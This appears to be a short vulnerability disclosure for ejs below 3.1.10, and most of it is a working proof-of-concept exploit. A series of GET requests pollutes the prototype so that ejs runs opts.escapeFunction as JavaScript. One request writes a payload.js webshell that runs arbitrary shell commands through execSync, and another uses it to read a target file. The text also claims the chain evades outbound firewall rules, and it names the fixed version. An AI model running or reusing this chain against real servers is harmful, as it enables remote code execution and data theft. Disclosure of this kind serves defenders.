- With prototype pollution, set opts.client to truthy value (condition)
- Then, when render() runs, ejs will run opts.escapeFunction value as JS code.
Based on ejs@3.1.9
1. ejs/lib/ejs.js - line 580, 636, 637
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Inject webshell
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Activate webshell
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Above PoC can bypass outbound packet drop of ufw firewall.
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All version under 3.1.10 is vulnerable for this type of attack.
-
This is RCE vulnerability, and do not abuse on live server.
- Needs control of render().
- Needs control of prototype pollution attack vector.
- Above two condition holds, RCE attack is available.
- Fixed version(ejs@3.1.10) is available now.